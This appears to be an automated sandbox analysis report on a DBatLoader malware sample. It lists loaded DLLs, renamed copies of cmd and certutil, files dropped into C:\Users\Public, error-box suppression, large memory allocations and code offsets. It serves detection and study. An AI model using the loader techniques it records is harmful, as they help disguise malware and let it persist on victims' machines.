          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: winhttpcom.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: webio.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: schannel.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: Svcrhpjadgyclc.cmdStatic file information: File size 2966423 > 1048576
          Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000003.00000000.1708863932.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1712244860.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1730523659.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1719493862.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1732423952.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1734954825.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1736215812.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1737154989.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
          Source: Binary string: certutil.pdb source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
          Source: Binary string: cmd.pdb source: alpha.exe, 00000003.00000000.1708863932.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1712244860.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1730523659.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1719493862.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1732423952.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1734954825.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1736215812.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1737154989.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
          Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000006.00000000.1712966153.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1717235045.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1720044377.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1728999472.00007FF7F717E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr

          Data Obfuscation

          barindex
          Yara detected DBatLoader
          Source: Yara matchFile source: 9.2.spoolsv.COM.2950000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000009.00000003.1735073936.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.2463920192.00000000021B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.2480657895.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: alpha.exe.2.drStatic PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029687A0 LoadLibraryW,GetProcAddress,FreeLibrary,9_2_029687A0
          Source: alpha.exe.2.drStatic PE information: section name: .didat
          Source: kn.exe.4.drStatic PE information: section name: .didat
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7093668 push rsp; ret 6_2_00007FF7F7093669
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029532FC push eax; ret 9_2_02953338
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0297C2FC push 0297C367h; ret 9_2_0297C35F
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295635C push 029563B7h; ret 9_2_029563AF
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295635A push 029563B7h; ret 9_2_029563AF
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0297C0AC push 0297C125h; ret 9_2_0297C11D
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0297C1F8 push 0297C288h; ret 9_2_0297C280
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0297C144 push 0297C1ECh; ret 9_2_0297C1E4
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029686C0 push 02968702h; ret 9_2_029686FA
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295673E push 02956782h; ret 9_2_0295677A
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02956740 push 02956782h; ret 9_2_0295677A
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295C4F4 push ecx; mov dword ptr [esp], edx9_2_0295C4F9
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296E5B4 push ecx; mov dword ptr [esp], edx9_2_0296E5B9
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295D528 push 0295D554h; ret 9_2_0295D54C
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295CB74 push 0295CCFAh; ret 9_2_0295CCF2
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0297BB6C push 0297BD94h; ret 9_2_0297BD8C
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02967894 push 02967911h; ret 9_2_02967909
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029668D0 push 0296697Bh; ret 9_2_02966973
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029668CE push 0296697Bh; ret 9_2_02966973
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02968916 push 02968950h; ret 9_2_02968948
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02968918 push 02968950h; ret 9_2_02968948
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296A920 push 0296A958h; ret 9_2_0296A950
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0295C976 push 0295CCFAh; ret 9_2_0295CCF2
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02962EE8 push 02962F5Eh; ret 9_2_02962F56
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02965E04 push ecx; mov dword ptr [esp], edx9_2_02965E06
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02962FF4 push 02963041h; ret 9_2_02963039
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_02962FF3 push 02963041h; ret 9_2_02963039

          Persistence and Installation Behavior

          barindex
          Drops PE files with a suspicious file extension
          Source: C:\Users\Public\kn.exeFile created: C:\Users\Public\Libraries\spoolsv.COMJump to dropped file
          Source: C:\Users\Public\kn.exeFile created: C:\Users\Public\Libraries\spoolsv.COMJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file

          Boot Survival

          barindex
          Drops PE files to the user root directory
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296A95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,9_2_0296A95C
          Source: C:\Users\Public\Libraries\spoolsv.COMRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Allocates many large memory junks
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 2950000 memory commit 500006912Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 2951000 memory commit 500178944Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 297C000 memory commit 500002816Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 297D000 memory commit 500199424Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 29AE000 memory commit 501014528Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 2AA6000 memory commit 500006912Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMMemory allocated: 2AA8000 memory commit 500015104Jump to behavior
          Source: C:\Users\Public\alpha.exeAPI coverage: 8.3 %
          Source: C:\Users\Public\alpha.exeAPI coverage: 8.4 %
          Source: C:\Users\Public\kn.exeAPI coverage: 0.8 %
          Source: C:\Users\Public\alpha.exeAPI coverage: 9.6 %
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,3_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,3_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,3_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,3_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,3_2_00007FF6BF3D35B8
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,5_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,5_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,5_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,5_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,5_2_00007FF6BF3D35B8
